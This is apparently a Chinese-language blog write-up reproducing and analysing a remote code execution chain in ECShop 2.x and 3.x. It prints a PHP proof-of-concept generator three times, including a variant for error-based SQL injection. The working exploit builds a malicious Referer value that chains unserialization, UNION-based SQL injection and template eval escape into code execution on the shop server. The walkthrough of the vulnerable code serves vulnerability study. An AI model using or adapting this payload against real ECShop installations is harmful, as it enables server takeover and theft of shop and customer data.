漏洞复现
使用P师傅的Paylaod
<?php
$shell = bin2hex("{$asd'];phpinfo ();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x:
";
echo "{$hash2}ads|{$s}{$hash2}";
echo "
POC for ECShop 3.x:
";
echo "{$hash3}ads|{$s}{$hash3}";

EcShop 2.x

EcShop3.x

从POC看的话,可以看的出漏洞处于Referer该请求头处
漏洞分析
漏洞位于 user.php
处

这里面的 $back_act
可控,之后进入 assign
函数中

跟进发现将其值赋给 _var[$tpl_var]
,这个可能就是模版变量

之后调用 display
函数


$out
就是读取模版文件的内容,然后再用 $this->_echash
分割成数组,再将奇数的值放入 $this->insert_mod
中,我们跟进这个函数

这里面先用 |
来分割获取函数名以及参数,参数后面使用反序列化获取,然后 $fun($para)
动态调用
POC中找到的可用函数为 insert_ads
根进可以发现,我们的数据被插入了sql中


那么这里面显然是个Sql主入漏洞
将P神的Payload稍微改了一下就能够Sql注入了
<?php
$shell = bin2hex("{$asd'];phpinfo ();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,3,(extractvalue(rand(),concat(0x7e,version())),1),4,5,6,7,8,9,10-- -'),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x:
";
echo "{$hash2}ads|{$s}{$hash2}";
echo "
POC for ECShop 3.x:
";
echo "{$hash3}ads|{$s}{$hash3}";
?>

至于如何Rce需要继续向下分析
查询到的字段放在 $res
中



其中将 $position_style
赋值为 $row['position_style']

在后面的 fetch
中会调用
跟进看看

只要满足 strncmp($filename,'str:', 4) == 0
就会进入 $->_eval()
函数

eval其实主要就是执行代码,重要的就是 fetch_str
这个函数

其中第一个正则

他过滤了类似于 phpinfo()
或者 phpinfo ()
这类的,这里面使用的是
绕过

这条的正则的意思为

我们继续跟进去 select()
函数

当传入的第一个字符为 $
时去除 $
进入 $this->get_val()
函数

 
若我们传入值不为 .$
进入 nake_var
函数
跟进

若传入的变量不存在 .
则返回 $this->_var['变量']
;

回到最后前面就会返回
<?php echo $this->_var['变量'];?>

最后拼接到eval中执行

显然我们可以利用单引号逃逸这个变量,因此exp为
{$asd'];phpinfo ();//}xxx
放入原Payload就为
<?php echo $this->_var['asd'];phpinfo ();//'];?>
同时3.x的漏洞也跟这个差不多,不同的只是 $this->_echash
的不同
这里面贴上P神的POC
<?php
$shell = bin2hex("{$asd'];phpinfo ();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x:
";
echo "{$hash2}ads|{$s}{$hash2}";
echo "
POC for ECShop 3.x:
";
echo "{$hash3}ads|{$s}{$hash3}";
简单总结
HttpReferer-> 利用$this->_echash进行分割->反序列化动态调用函数(函数名,参数可控)->利用union sql注入覆盖数据->正则绕过,单引号逃逸->RCE